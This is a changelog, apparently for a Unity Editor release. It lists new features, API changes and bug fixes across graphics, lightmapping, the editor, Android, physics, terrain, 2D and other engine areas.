Graphics: Handle animation of exposed integer and NamedObject (Texture or Mesh) in VisualEffect
Graphics: Added support for the Dynamic Resolution feature for Metal on macOS
Graphics: Added API support for setting entire constant buffer contents at once: [[Material.SetConstantBuffer]] and [[Shader.SetGlobalConstantBuffer]]
Graphics: Add interface to pass camera buffers from SRP to VFX Graph (so that screen space behaviours can be used (depth collision...))
Graphics: Add experimental support of any GPU formats for RenderTexture
GI: GPU Lightmapper: Support for shadow casting and receiving on meshes.
GI: GPU Lightmapper: Support for double sided GI flag on the materials.
GI: Adding support for the Optix AI Denoiser. The Optix AI denoiser is a deep learning based denoiser trained on library of path traced images. It yields a substantial improvement over existing filter options, especially on low sample counts and it is resilient to leaking. It is currently only available on Windows and with compatible NVidia GPU.
GI: Added multiple importance sampling of environments to the progressive CPU lightmapper
GI: Add option to limit number of generated lightmaps for a group of game objects.
Editor: Script recompiles triggered by internal Unity systems are now logged to the Editor.log with [ScriptCompilation] prefix in messages
Editor: Pre-checkout and pre-submit user-specified callbacks for VCS integration. Allows users to create callbacks that can modify asset lists and changeset selection/description at checkout and submit time. Pre-checkout callback can: Add and remove assets from the list of those that will be checked out; Create a new changeset to check the specified asset list in; Nominate an existing changeset to check the specified asset list in and Block checkout by returning false from the callback. Pre-submit callback can: Add and remove assets from the list of those that will be submitted; Create a new changeset to submit specified asset list in; Nominate an existing changeset to submit the specified asset list in; Rename an existing changeset then submit it and Block submission by returning false from the callback.
Editor: Made editor on-demand shader compilation asynchronous, not blocking the editor while compiling the shader on the first time usage. The rendering will happen using a replacement shader until the actual shader variant is available. The feature can be enabled/disabled in the editor preferences with "Asynchronous Shader Compilation" checkbox.
Editor: Log message to Editor.log when .csproj's get rewritten to disk, makes it easier to figure out why .csproj's are getting reloaded in C# IDE's. Messages are prefixed with "[C# Project]".
Editor: Console : callstack now clickable. Hyperlinks will take you to the source code line for any function calls listed in the stack
Editor: Console : added text based filtering for the console entry list
Editor: Added support for referencing Assembly Definition Files with GUIDs instead of assembly names. Enable with "Use GUIDs" option in Assembly Definition File inspector. Enabled by default for new Assembly Definition Files.
Editor: Added new SceneView Camera Settings window to control the FOV and Speed of the camera. Mouse scrollwheel adjusts the Speed in Fly/FPS mode too. Also implemented SceneView Camera easing while moving & zooming and added a new section in Preferences to adjust this.
Editor: Added new EditorTools API, allowing users to create new tools that behave like native tools. A new button has been added to the toolbar to display custom tools. Additionally, a new display in the SceneView now shows the available CustomEditor tools for the selection.
Editor: Added CSHARP_7_3_OR_NEWER preprocessor directive when compiling C# 7.3 on .NET 4.x scripting runtime.
Editor: Add an option to Select All/Unselect All gizmos in the gizmos visibility popup
Android: Added Package Patching functionality, where only script related changes are sent to device instead of repackaging apk file.
Android: Added AndroidDevice.SetSustainedPerformanceMode API to enable/disable sustained performance mode in runtime
Windows: Logfile name has changed to be more consistent with other platforms: Player.log and Player-prev.log. Path has not changed.
Windows: Disabled cursor locking and confinement in batch mode;
WebGL: Removed MemorySize and LinkerTarget options from Editor
Scripting: Added support for serialisation for struct UnityEngine.Rendering.SphericalHarmonicsL2 (922290)
Physics: Increase default max angular velocity to 50 radian per second, as default value was way too low
Multiplayer: The multiplayer high level API has been moved from an extension DLL to a package. Projects which should be automatically updated with a reference to the package when they open for the first time with 2019.1.
Linux: Deprecate Linux x86 and Universal targets. These will be removed in future Unity versions.
iOS: UnityWebRequest will use new backend based on NSURLSession. Old NSURLConnection backend is still available (commented out in trampoline).
Graphics: [Metal] Debug groups are now visible in Release builds
Graphics: Updated graphics packages (LWRP, HDRP, and Shader Graph) to 5.2.3 and tweaked Scenes inside accordingly.
Graphics: Texture Mipmap streaming in editor Edit Mode now defaults to being enabled, when texture streaming is enabled in quality settings
Graphics: LODGroup.ForceLODMask now allows int.MaxValue to force cull the whole LODGroup
Graphics: Dynamic batching checkbox is now hidden if a Scriptable Render Pipeline is active.
Graphics: CommandBuffer.IssuePluginCustomBlit now passes the depth UnityRenderBuffer to the native plugin if 'dest' is a depth texture
Graphics: ASTC 'fast' and 'best' compressor quality options are now actually different from 'normal'
Graphics: Added override for LightmapEmissionFlagsProperty, allowing display of emission GI options without checking for an emissision color property (_EmissionColor)
GI: Stitching and probe deringing are now turned on by default
GI: Reduce frequency with which LightmapSettings warnings are issued
GI: Moved tetrahedralization code to the player
Editor: Shortcut Profiles cannot start or end with space and disallowed some special characters. ( 1103117 )
Editor: Merged Shortcut Profile dropdown and the Shortcut Profile options cog into a single dropdown
Asset Pipeline: The Model importer mesh read/write setting is now disabled by default.
Asset Import: GenerateBackFaces is now enabled by default in the Sketchup Importer.
Android: Updated bluetooth headset detection on Android 6+ to avoid using deprecated method
Android: If SRP is active, blit mode is forced to "Never blit" on Android.
XR: The wireframe shader now works with the single-pass instancing stereo rendering mode.
XR: Linear color space now works on Oculus Go and Quest. For Gear VR, driver issues may prevent linear from working with S7 Adreno phones on Android 7.0.
WebGL: Add Quit() function support to the unity instance
Web: UnityWebRequest: report Content-Length to DownloadHandlerScript as 64-bit (32-bit method is now deprecated). ( 1092447 )
Web: Added support to write to file in append mode in DownloadHandlerFile
Universal Windows Platform: Added support for building player with Visual Studio 2019.
Universal Windows Platform: Added ExecutableOnly build type, which allows building without creating Visual Studio project, enabling quicker iteration using Build & Run. See documentation for UnityEditor.WSAUWPBuildType for more information
Timeline: Added Volume, Pan and Spatial Blend controls to Audio Tracks, and volume controls to Audio Track Clips
Terrain: Allows shadowCastingMode to be set on terrain.
Terrain: Added hotkeys to adjust Terrain tool brush size and opacity.
Terrain: Added a direction bias to the Terrain smoothing brush, to control blur to either go up or down
Shaders: Moved 38 builtin keywords to local keywords. Shaders inspector now shows used global/local keywords by shader.
Shaders: Improve shader debugging by disabling the optimiser when generating debug shaders i.e. #pragma enable_d3d11_debug_symbols.
ps4: Add support for sensitivity for touchpad pointer emulation (PS4Input.touchpadMouseSensitivity )
Profiler: Will now show time to wait for the next frame consistently accross all player platforms regardless of how vsync is implemented.
Profiler: Increased minimum memory usage for profiler to 4MB in Players and 64MB in the Editor.
Plugins: When double clicking on a plugin in Unity project, an associated IDE will open up.
Plugins: Preloading is now supported for any native plugin. Added PluginImporter.isPreloaded.
Playables: Made IPlayableBehaviour.OnBehaviourPause be invoked when the Playable is paused AND when the PlayableGraph is paused, instead of OR. (1077846)
Physics: Ensure that the Inspector "Info" rollout on the Rigidbody2D and Collider2D components persist their expanded state when entering/exiting play-mode or moving between components.
Physics: Added overload of Rigidbody2D.MoveRotation that accepts a Quaternion.
Particles: Expose particle mesh indices to shaders, allowing users to know which mesh each particle is using
Particles: Expose particle mesh indices to script, allowing users to get/set which mesh each particle is using
Particles: Add a new mode to the Texture Sheet Animation Module, allowing animations to be specific to each mesh being used
Package Manager: Use the enablePackageManagerTraces command argument to also increase the logging level of the upm process.
Package Manager: Show dependent packages in Project Browser and corresponding assemblies in Object Picker.
Package Manager: Removed reference to "package" or "package manager" in the extension manager logs to avoid confusion with the new Package Manager system.
OSX: Make Vsync handling in Mac standalone players more stable
Mobile: Added support for RGBM and native HDR lightmaps
iOS: Added launch screen image fields for iPhone XS and XS Max
iOS: Add Access WiFi Capability to the Xcode API (availabe from iOS 12/Xcode 10)
IL2CPP: The performance of code generated by il2cpp has been improved by up to 20%
Graphics: Texture Mipmap streaming now supported in editor Edit Mode when enabled in editor settings.
Graphics: Shader selection dropdown in Material asset editor got replaced with a searchable dropdown
Graphics: Revamp of the DrawProcedural script API:
Graphics: Removed stall on render thread when loading large textures
Graphics: Perform mesh creation for terrain details (e.g. grass) on parallel threads
Graphics: Not evaluating the light rectangles for oblique projection matrices
Graphics: Metal: Second iteration on Metal heap allocation management to make it more fine-grained
Graphics: Metal: Defer creation of command buffers and render encoders until actually needed
Graphics: Metal/macOS: Move immutable buffers and most textures from using managed storage into private memory storage, improving performance and CPU side memory utilization
Graphics: Metal/iOS: Fix Dynamic Resolution render surfaces to use heap allocation with aliasing to improve performance and memory usage
Graphics: GraphicsFences are now available on Vulkan, Metal, D3D11, OpenGL and OpenGL ES rendering backends.
Graphics: Graphics.Blit and CommandBuffer.Blit methods now support blitting to and from texture arrays.
Graphics: Frame debugger now displays shader properties for compute shader dispatches
Graphics: Creation of textures during async load on PC DX11 and Mac Metal moved off render thread into a job, to minimise hitches during load
Graphics: Changing the motion vectors behavior: 1 - Nodes with Camera Motion only are not skipped anymore when the exclude motion vector flag is on 2 - Only submeshes with an explicit motion vector pass are skipped when exclude motion vector flag is on
Graphics: Allow import and skinning of models with up to 32 bone weights for each vertex.
Graphics: Added Rendering.GraphicsSettings.realtimeDirectRectangularAreaLights to enable HDRP to provide direct realtime area lighting.
Graphics: Added filtering for sorting layers to the ScriptableRenderContext
Graphics: Add support for Dynamic Resolution Scaling to the Lightweight Render Pipeline
Graphics: Add mixed area lights to cull results to enable mixed rectangular lights in HDRP.
GI: Optimize baking of low occupancy lightmaps when using GPU lightmapper.
GI: Lightprobe Gizmos are now affected by postprocessing
GI: GPU lightmapper: Dump memory report to Editor.log when falling back to CPU lightmapper.
GI: Enable GPU lightmapper (preview) on macOS and Linux
GI: Added support for user defined range for area lights.
GI: Added support for shadow mask for rectangular area lights in the progressive lightmappers (will be available via HDRP).
Editor: Improved the performance of the UIElements renderer
Editor: Improved performance of the model importer inspector material remapping section.
Editor: Improve performance when interacting with Model Inspector with some large meshes
Editor: Columns in the Shortcut Manager shortcuts list are now resizable
Editor: Adds a keyboard shortcut for the submit button on the changeset submission window and for some commonly used VCS operations (1069130)
Editor: Added field of view axis selection dropdown in camera inspector
Editor: Added confirmation prompt when deleting a Shortcut Profile through the Shortcut Manager
Editor: Added Clear on Build option in Console
Compute: * Allows more of the scripting CommandBuffers utility functions to be used with command buffers executed on async compute, such as getting temporary render targets.
Asset Pipeline: Scriptable objects that are loaded before a refresh/import, will after a refresh/import be reloaded, if the underlying asset had been modified before the refresh/import. This means that after the refresh/import scriptables objects will have the modified values from modified assets. Before this change, the scriptable object would get "null" value (when using operator==) after the refresh/import.
Asset Import: Improved performance of DXT1/BC1 and DXT5/BC3 texture compression. Note that although compression quality is not affected subtly different compressed results will likely be produced
Asset Import: Extended Optimize Mesh option on Model asset import settings to allow optimization of Vertex Order and Polygon Order to be controlled independently rather than both being controlled from the same flag. NOTE: Performance improvements to the underlying mesh optimization code may cause vertices to be generated in a different order than in previous Unity versions. If you rely on vertex ordering in the optimized mesh data such as for vertex painting be aware this data may need to be re-generated.
Asset Import: Added Support for cameras in Sketchup Importer.
Animation: Upgraded the animation window preview/playback engine to use the Playable API.
Animation: Improved support for animationjobs with TransformStreamHandle bound to transform added dynamicaly at runtime.
Animation: Aligned all Animator StateMachine nodes on the grid
Android: Use OpenSL instead of AudioTrack on more devices. This reduces audio input and output latency.
Android: The Unity video player can now be used with the Vulkan renderer.
Android: Improved il2cpp player startup by ~200ms for second and later launches
Android: Enumerate all Android audio input device options, including the lowest-latency option, which can be selected via the name "Android voice recognition input".
Android: Disable various Adreno Vulkan driver workarounds for latest drivers
Android: After building the apk, the Proguard mapping file is placed at the same location
Android: Adjust the number of worker threads dynamically according to the number of online cores.
Android: Added 'Symlink Sources' in Build Settings window, this enabled Java and Kotlin files to be directly referenced from Unity project in the exported gradle project.
XR: Add a command to set single-pass stereo mode with command buffer. (1096603)
Timeline: Make TrackAsset.CreatePlayable(PlayableGraph, GameObject, TimelineClip) virtual to match behaviour from 2018.1 ( 1096350 )
Timeline: Exposed methods to work with infinite clips on animation tracks
Timeline: Exposed methods to create and manipulate track-level animation curves.
Terrain: Obsoleted the TerrainTools IOnPaint.RepaintAllInspectors() function, replaced with Repaint(RepaintFlags), which is available in all TerrainTool callback interfaces.
Terrain: Improved Terrain Stamp tool to have better controls, and to behave better across terrains of different height.
Terrain: Deprecate Terrain.ApplyDelayedHeightmapModification. Use TerrainData.SyncHeightmap instead.
Terrain: Added New version of TerrainTools ShowBrushGUI() callback with flags, to choose which controls to display
TerrainData.DirtyTextureRegion These two may be used alternatively to the two functions above if the user directly changes the GPU resources by other means.
TerrainData.CopyActiveRenderTextureToTexture These two may be used for copying the content of the active RT into the terrain textures, optionally delaying the CPU synchronization, for instance at the event of mouse move in the middle of painting.
Terrain: Added new TerrainData APIs for easier modifying the terrain textures:
Terrain: Added new callback APIs to monitor the terrain texture changes:
Terrain: Added hotkey Terrain tool selection API, lets you bind custom Terrain tools to hotkeys
Shaders: Obsoleted the [ShaderIncludePath] attribute. All shader header files must be under the Assets folder or in a package. To include shader headers directly from a package, use #include "Packages//
Shaders: Added functions to ShaderUtil class to retrieve and clear errors/warnings from Shader compilation and added ShaderMessage class to provide error/warning details
Profiler: The Editor GUI used to connect to a player (from Profiler or Console Window) is now exposed. It's placed under UnityEditor.Experimental.Networking.PlayerConnection where EditorGUIUtility.GetAttachToPlayerState(EditorWindow parentWindow) will get the connection state with which it can be drawn using EditorGUILayout/EditorGUI.AttachToPlayerDropdown.
Profiler: Extended HierarchyFrameDataView profiling api with ResolveItemCallstack (returns a sample callstack in the Editor) and GetItemMergedSamplesColumnDataAsFloats (returns sample values for a merged sample).
Profiler: Exposed UnityEditor.Profiling.HierarchyFrameDataView API that allows to access CPU profiler data in a hierarchical way
Profiler: Added Profiler.EmitFrameMetaData API which allows to save arbitrary data to the profiler stream and read it in the Editor
Playables: Added PlayableOutput.GetEditorName, an editor only method to get the PlayableOutput name.
Playables: Added FrameData.effectivePlayState to pass the accumulated playstate of the Playable (1077846)
Physics: Exposed additional query types in the PhysicsScene class. Note that only the non-allocating ones are available.
Physics: Added Rigidbody2D method overloads to provide List<> support for Cast(), GetContacts(), OverlapCollider() and GetAttachedColliders().
Physics: Added PolygonCollider2D method overloads to provide List<> support for GetPath() and SetPath().
Physics: Added PhysicsScene2D method overloads to provide List<> support for LineCast(), RayCast(), BoxCast(), CapsuleCast(), CircleCast(), OverlapPoint, OverlapArea(), OverlapBox(), OverlapCapsule(), OverlapCircle() and OverlapCollider().
Physics: Added Physics2D method overloads to provide List<> support for LineCast(), RayCast(), BoxCast(), CapsuleCast(), CircleCast(), OverlapPoint, OverlapArea(), OverlapBox(), OverlapCapsule(), OverlapCircle(), OverlapCollider() and GetContacts().
Physics: Added CompositeCollider2D method overloads to provide List<> support for GetPath().
Physics: Added Collider2D method overloads to provide List<> support for Raycast(), Cast(), GetContacts() and OverlapCollider().
Physics: Added "Rigidbody2D.SetRotation(quaternion)" allow the body rotation to be set by Quaternion.
Physics: Added "Rigidbody2D.SetRotation(angle)" to allow the body z-axis rotation to be set in degrees.
Package Manager: Expose the type property of PackageInfo
Multiplayer: Added NetworkTransport.SetMulticastLock API to acquire/release multicast locks. On android this is required to be able to receive broadcast packets. ( 988573 )
Memory Profiler: Added UnityEditor.Profiling.Memory.Experimental.PackedMemorySnapshot.Convert to handle conversion from MemoryProfiler.PackedMemorysnapshot object to UnityEditor.Profiling.Memory.Experimental.PackedMemorySnapshot file.
Memory Profiler: Added Dispose functionality for the PackedMemorySnapshot class in order to prevent instances from keeping a lock longer than necessary on the snapshot file.
Kernel: TypeTrees are now have a central cache.
GraphView: Resizer manipulator has new constructor w/ OnResized callback parameter
GraphView: GraphView.GetElementByGuid() now returns first element with the given GUID, within all of GraphView, not just elements contained in layers.
Graphics: UnityEngine.Rendering.GPUFence class has been deprecated and replaced with UnityEngine.Rendering.GraphicsFence
Graphics: Exposed settting for number of jobs used when using occlusion culling.
Graphics: Added Texture2DArray property "allSlices". The "allSlices" property can be used instead of "-1" to indicate that all texture array slices should be bound for methods that support texture arrays.
Graphics: Added SortingLayerRange to FilterRenderSettings to allow for the filtering of sorting layers by ScriptableRenderContext
Graphics: Added Shader.GetDependency() function used for querying one of the shader dependency shaders by name.
Graphics: Added Material.ComputeCRC() function which returns a CRC hash value of the material asset content.
Graphics: Added Graphics and CommandBuffer method overloads to allow blitting to and from a texture array in the corresponding blit methods.
Graphics: Add a variant static function for ShaderUtil.UpdateShaderAsset & ShaderUtil.CreateShaderAsset to skip compilation of the initial variant (it can save compilation time for ShaderGraph and Visual Effect Graph but it doesn't log any early compilation errors)
Graphics: - Changed the SRP signature of BeginCameraRendering and BeginFrameRendering to give access to the ScriptableRenderContext.
Editor: Renamed the API from SceneView.SceneViewCameraSettings to SceneView.CameraSettings
Editor: Fix input field for sliders that has width less than 150 with no label ( 1078003 )
Editor: Exposed method to check if a profile ID is valid
Editor: Block illegal commands for Editor and PlayMode tests when in playmode (1093572)
Editor: Added new API to detect & control async shader compilation better in the Editor.
Editor: Added more API points for TransformHandle to permit granular control over which handles appear.
Editor: Added GameObjectUtility.GetMonoBehavioursWithMissingScriptCount and GameObjectUtility.RemoveMonoBehavioursWithMissingScript to be able to remove MonoBehaviours with a missing script from a game object.
Editor: Added EditorUtility.IsDirty() which returns if any SetDirty is invoked upon the specified asset.
Editor: Added EditorUtility.GetDirtyCount() which returns how many times SetDirty is invoked upon the specified asset. Reset to zero when saved.
Editor: Added CompilationPipeline.GetAssemblyDefinitionFilePathFromAssemblyReference, CompilationPipeline.GetAssemblyDefinitionReferenceType, CompilationPipeline.GUIDToAssemblyDefinitionReferenceGUID, CompilationPipeline.AssemblyDefinitionReferenceGUIDToGUID APIs for dealing with Assembly Definition File references that can be either a GUID or assembly name.
Editor: Added CompilationPipeline.compilationStarted and CompilationPipeline.compilationFinished events for when compilation starts and finishes in the editor.
Editor: Added AssemblyBuilder.referencesOptions to allow building assemblies using UnityEngine module .dlls instead of the default monolithic UnityEngine.dll.
Editor: Added API for managing shortcuts in the editor (UnityEditor.ShortcutManagement)
Asset Import: Added MaterialEditorExtensions.PerformBumpMapCheck - Iterates over all material properties with the Normal flag and checks that the textures referenced by these properties are imported as normal maps.
Asset Import: Added AssetImporter.SupportsRemappedAssetType to inform the user user if the importer supports remapping certain asset types (for example Materials)
Animation: Can't write into a scene handle anymore (experimental API)
Android: Removed public API for setting the JVM Max heap size
Android: Deprecated AndroidJNI methods which use byte parameters or return byte values (1069247)
Android: Added AndroidJNI methods which use sbyte parameters or return sbyte values (1069247)
2D: Added a new struct UnityEngine.SecondarySpriteTexture, which encapsulates a Texture2D and its shader property name to give Sprite-based renderers access to a secondary texture, in addition to the main Sprite texture.
2D: Added a new property TextureImporter.secondarySpriteTextures, which lets you assgin secondary textures to a texture asset imported as Sprite.
2D: Added a new property TextureGenerationSettings.secondarySpriteTextures, which lets you assign secondary textures to the Sprite texture asset that is being generated.
2D: A Sprite that is no longer packed into a Sprite Atlas remains invisible. (1083304)
2D: Added missing docs for TextureImportSettings.SpriteMeshType (1080294)
2D: After updating from 2017.4 to 2018.x serialized sprite atlas attributes values are different than in the Inspector (1085023)
2D: Allow user to reset the Sorting Layer and Sorting Order settings of Renderer components from the Inspector Settings cog button. (1096375)
2D: Crash on SpriteAtlas::Add when passing array of nulls to SpriteAtlas.Add (1089125)
2D: Editor crashes in GameObjectHierarchyProperty::CountRemaining when undoing the creation of Sprite Mask object (1074128)
2D: Editor crashes on clicking Pack Preview when same atlas is added in Packables in debug view (1107235)
2D: Editor crashes with SpriteShapeUtility::SpriteShapeUtils_SpriteShapeFillSpriteInfo when opening specific project (1084948)
2D: Error message shown when SVG is added to SpriteShapeProfile, crashes when Spriteshape is added to Scene (1068117)
2D: Sprite with SpriteShapeBody Shader gets graphical artifacts when rotating the camera (1079942)
2D: Sprites reference both the original Sprite assets and Sprite Atlas resulting in increased memory usage (1071494)
2D: Sprites rendered through Command Buffers not displayed until rendered once with a default Renderer (1097465)
2D: SpriteShapeRenderer passes invalid _texelSize.zw (1099636)
2D: The side of a sprite is chopped off when it's Max Size property is changed (1101500)
2D: When click and drag on an unselected Sprite in Sprite Editor Window will show a normal cursor to indicate draging of Sprite instead of 'resize' cursor for resizing border Old behaviour https://drive.google.com/open?id=1cOVhoE3-sXfV7o1ScJQYJDAzEFa9R8t7 New Behaviour https://drive.google.com/open?id=1qWljJXFSrCebz07_aa_4gE0m0azVQbPf (1077700)
Android: Android: refactored and improved android device detection and selection during builds (1102133)
Android: Detect when editor did not manage to install app to device (1086410)
Android: Don't perform deadzoning in the native backend for game controller axes in the new input system.
Android: Enabled EGL sRGB backbuffer in Android 9.0
Android: Fix Application.Unload sometimes crashing on android (1093574)
Android: Fix automatic resolution scaling when using Vulkan (1108491)
Android: Fix black screen when resuming app which was being recorded with google play (FMOD deadlock) (1046752)
Android: Fix black screen when trying to use linear rendering with 16bit backbuffer
Android: Fix CrashReportint module not stripped on il2cpp when not used
Android: Fix dynamic resolution on some older Mali GPUs on Vulkan (1065227)
Android: Fix for application freeze when displaying Android ProgressBar (1053736)
Android: Fix for Bluetooth headset related crash when application doesn't use sounds (1086597)
Android: Fix for keyboard not opening on Android 9 (1102448)
Android: Fix for the non-consistent FixedUpdate calls (1071756)
Android: Fix gradle builds failing when using quotes and backslashes in keystore passwords and aliases (996504, 1071288)
Android: Fix HDR rendering when using Vulkan on older Mali drivers (1105065)
Android: Fix OnReceivedBroadcast not called on Android devices when acting as a client (988573)
Android: Fix OpenGL ES 3.0 shader compile error when generated code requires bitfieldInsert
Android: Fix possible missing draws when using Vulkan on Adreno (1094348)
Android: Fix terrain rendering when using Vulkan on Adreno (1102440)
Android: Fix Vulkan shader compile error when using SV_RenderTargetArrayIndex in vertex shader output (1098973)
Android: Fixed Activity has leaked ServiceConnection errors when calling Application.Unload (1091255)
Android: Fixed Display.systemHeight and Display.systemWidth (1090830)
Android: Fixed problem with different sign configs for release and debug configuration (1109570, 1120585)
Android: Fixed problem with exceptions when exporting Android Gradle project (1089510)
Android: il2cpp library will not be relinked when building to Android, if there are no changes to script files, cached library will be used instead, this should slightly improve build pipeline performance. (1089122)
Android: Impvoe performance of cubemap convolution on Mali GPUs (989820)
Android: Keyboard.onTextInput, Keyboard.onIMECompositionChange will be correctly called for physical and virtual keyboard events.
Android: Mounting additional apk files to support dynamic features is implemented (1078212)
Android: Mouse delta will be correctly calculated in the new input system.
Android: Print linker errors to console when using il2cpp
Animation: Added auto-cleanup of AnimationClip's tracked references on domain reload to avoid a hard to reproduce crash (1046821)
Animation: Double clicking an AnimationClip will open the AnimationWindow. (1058422)
Animation: Fix crash when animator changes the bindings of the next animator in the same frame (1099988)
Animation: Fixed an issue where AnimationClip.empty always returns true in Standalone builds when Animation Type is set to Legacy (1061700)
Animation: Fixed Animation Window selection of nested Animation component hierarchies children of Animator component hierarchies. (1089015)
Animation: Fixed animator glitch just after instantiation (995978)
Animation: Fixed crash if there's a cycle in an animation graph (792020)
Animation: Fixed crash when opening animator window on bad animator controller setup (1080436)
Animation: Fixed crash when selecting a faulty bone after AutoMap in avatar configurator. (1075651)
Animation: Fixed [burstcompile] for animation jobs not working anymore
Asset Import: Changed the icon of the assets generated using ScriptedImporters to match the icon of other model files.
Asset Import: Clamp the global scale in ModelImporter to at most 10 digits. (1082327)
Asset Import: Fixed issue with diffuse color not being properly assigned when a HDRP/Lit material is generated from a FBX standard material in HDRP projects. (1087977, 1114076)
Asset Import: Fixed issue with ModelImporter where imported materials have no textures assigned in HDRP projects.
Asset Import: Prevent using your previously created avatar in the AvatarCopy field in the ModelImporter Rig panel.
Asset Import: ProjectBrowser Icons will refresh correctly when the Model Importer gets applied.
Asset Import: The ModelImporter "Use File Scale" property was not showingg the multiple different values checkbox in multiple selection.
Audio: AudioSource.GetSpatializerFloat and AudioSource.SetSpatializerFloat can now be called successfully before an AudioSource is played.
Audio: Edit key option displays incorrect parameters in the curve editor (713681)
Audio: Fix adding new keys to the curve in audio source inspector via context menu (1085732)
Audio: Fixed audio importing of very short audio files which previously caused importer errors. (882227)
Audio: Fixed AudioCustomFilter which was leaking mutexes. (1101492)
Audio: Fixed loud clicking sound during automatic preview when multiple audio clips are selected in the Project window. (1049785)
Audio: Fixed regression where time spent in profiler collecting audio data depended on the number of audio clips that had audio data loaded. (1086988)
Build Pipeline: Don't treat failed builds as "successful"
Build Pipeline: Fixed an issue where PlayerSettings.applicationIdentifier would not return the identifier for the active build target when editing settings for a different build target. (1041443)
Build Pipeline: Fixed an issue where scenes with a period in the name could not be loaded by asset bundles (1022819)
Build Pipeline: Fixed an issue where the Scripting Define Symbols line in Player Settings could not be reverted with the Undo command. (1083481)
Build Pipeline: Fixed AssetBundleBuild.addressableNames not triggering an asset bundle rebuild when the property changed (996380)
Build Pipeline: Unload asset bundles before building a player or other asset bundles. This prevents building objects loaded out of asset bundles into a second build which could cause unexpected behavior. (1081760)
Build Pipeline: Will remove duplicate mono folder in Mac Standalone builds, removing around 500 kb of unneeded data from builds
Collab: Fixed after renaming a file in Visual Studio and restarting Unity Editor the file was not marked as changed in the Collab Toolbar. (1051583)
DX12: Fix crash when scene is using dpeth only + HDR Camera (1087306)
DX12: Fixed a crash with memory allocation issues when using a camera with the depth or don't clear flags (969582)
DX12: Fixed where test runner crashes while running test containing RenderTexture instantiation from command prompt (1015725)
Editor: Add missing size and style to CacheFontForText (1087730)
Editor: Added a mechanism for displaying an error message when any of the recent projects contain an invalid or missing ProjectSettings.txt file. (1002683)
Editor: All desktop platforms, editor and player, now have consistent logfile option handling. For most platforms this should mean no change, just improved handling of edge cases and scenarios with logfile parameter. (900754, 960012, 1068907)
Editor: Android release builds don't forward network traffic to device anymore (1090170)
Editor: Calling GetComponent on a game object for a missing component type will now only cause a GC allocation the first time for the specific game object and missing component type. (1118303)
Editor: Changed the way fallback fonts are selected to improve availability of Unicode glyphs (1090134)
Editor: Clear compile errors from the console when switching platform. (1078935)
Editor: Context Menu's "Open" menu does not perform any actions on folders fix (1079852)
Editor: Corrected a typo in 2D/3D scene view toggle popup (1048139)
Editor: CSharpNamespaceParser fixes: Whitespace around # in conditional (1077417)
Editor: Diagnostic warning icon drawn under text (1093938)
Editor: Domain reloads will no longer cause prefab override components (addition, removals) to vanish in the inspector window (1102487)
Editor: Editor systematically crashes when opening client project View on Crashes (1076793)
Editor: ENABLE_VSTU when VisualStudio support has been initialized. (1099395)
Editor: Ensure assembly definitions cannot be named as any predefined assembly names. (1081704)
Editor: Errors are thrown when a prefab with more that 50 game components is selected in the Hierarchy window (1085685)
Editor: Fix -nographics parameter does not include command line activation operations (1043511)
Editor: Fix bug where floating windows couldn't be resized on Ubuntu 18.04 (942780)
Editor: Fix composite fields where the inner component is to big to fit in. (1074392)
Editor: Fix crash if null texture in GUIStyle.scaledbackground (1074485)
Editor: Fix crash when calling DestroyImmediate on components in component context menu callback while having multiple game objects selected (1056115)
Editor: Fix crash when launching Editor on Mac with -batchmode as first argument (1059028)
Editor: Fix crash when using keyboard shortcuts with Mac Editor while Unity project is loading (1004336)
Editor: Fix define expression parsing in namespace parser (1085267)
Editor: Fix duplication slightly changing Transform values due to floating point precision errors. (912111)
Editor: Fix empty strings causing textfield crash (1107172)
Editor: Fix for empty Editor Settings password fields still returning asterisks for empty fields. (958884)
Editor: Fix game view dimensions (1083316)
Editor: Fix Game view layout not changing when paused (1104417)
Editor: Fix game view mouse offset (1097051)
Editor: Fix Gizmos.DrawFrustum not rendering near clip plane in gizmo space. (1081967)
Editor: Fix gui label tooltips (1057359)
Editor: Fix IME input causing text duplication in the editor (1117878)
Editor: Fix incorrect insertion of game objects in the hierarchy in particular workflow (1069565)
Editor: Fix issue with Editor recommending update to an earlier version
Editor: Fix issue with MonoBehaviours in assemblies (.dlls) not loading correctly in scenes from AssetBundles when loading the assembly through reflection with Assembly.Load or similar. (1082571)
Editor: Fix issue with overriden Main Menu shortcuts
Editor: Fix issue with RuntimeInitializeOnLoadMethodAttribute not working in players builds inside player-only code blocks (e.g. #if !UNITY_EDITOR) and inside player-only .asmdef assemblies (922692, 1071599)
Editor: Fix JPEG logo assets for UWP builds not added to Visual Studio project (1066142)
Editor: Fix ListView.SelectionChanged throwing ArgumentOutOfRangeExcpetion (1084218)
Editor: fix minmaxslider dragelement position, set it absolute (used to be relative, which broke layout) (1090242)
Editor: Fix remove binding and reset entry not saving changes in the Shortcut Profile file
Editor: Fix response file references not recognized in VS (1066726)
Editor: Fix Scene icon not updated when changing the png file (1084630)
Editor: Fix SceneView freezing after certain interactions under an OpenGL device (1100000)
Editor: Fix state propagation when a VisualElement is added to a hierarchy. (1093728)
Editor: Fix to enable only seleected menu items (cut/copy/paste/delete/select all) when modal windows are shown - OSX (1092367)
Editor: Fix Undo/Redo MenuItems changing label after rebinding shortcut
Editor: Fix unhideable material's render queue for scriptable render pipelines using shadergraph. (1108637)
Editor: Fix Unity crash when save assets dialog is displayed for exiting the editor. (1062146)
Editor: Fix window layout restoration (1078964)
Editor: Fixed "Open by File Extension" not working properly on Linux and MacOS (1090145)
Editor: Fixed a bug where Linux Editor inspector didn't activate items with space bar input (1061975)
Editor: Fixed an issue where Add Component menu is not displayed in some cases. (1104169)
Editor: Fixed an issue where continuously opening and closing Utility windows could crash the Editor on OSX (1046287)
Editor: Fixed an issue where creating an Editable Font Copy was throwing console errors on Windows platform. (1064686)
Editor: Fixed an issue where Editor could crash when closing the Editor while Asset store or services tab is loading. (1024048)
Editor: Fixed an issue where Grouped Layers are categorized separately. (1068422)
Editor: Fixed an issue where Handles.RotationHandle would not clip correctly when Handles.matrix was not identity. (1095582)
Editor: Fixed an issue where preview icon for the material preset flickers (1099296)
Editor: Fixed an issue where Project window scroll bar blinks when the assets from the last row are selected. (1076266)
Editor: Fixed an issue where red text could appear in the Project search bar along with "style not found" console warnings, while searching in play mode. (1086419)
Editor: Fixed an issue where TearDown and UnityTearDown are skipped for tests that fail due to errors logged with UnityEngine.Log.Error. (1077871)
Editor: Fixed an issue where usage of Obsolete APIs could spam the console window with infinite null reference exceptions. (1085675)
Editor: Fixed an issue which caused unpredictable behavior with duplicate terrain inspectors. Now user is notified of duplicate inspector. (1080942)
Editor: Fixed Assert.Ignore() tests do not exit Play Mode (1071127)
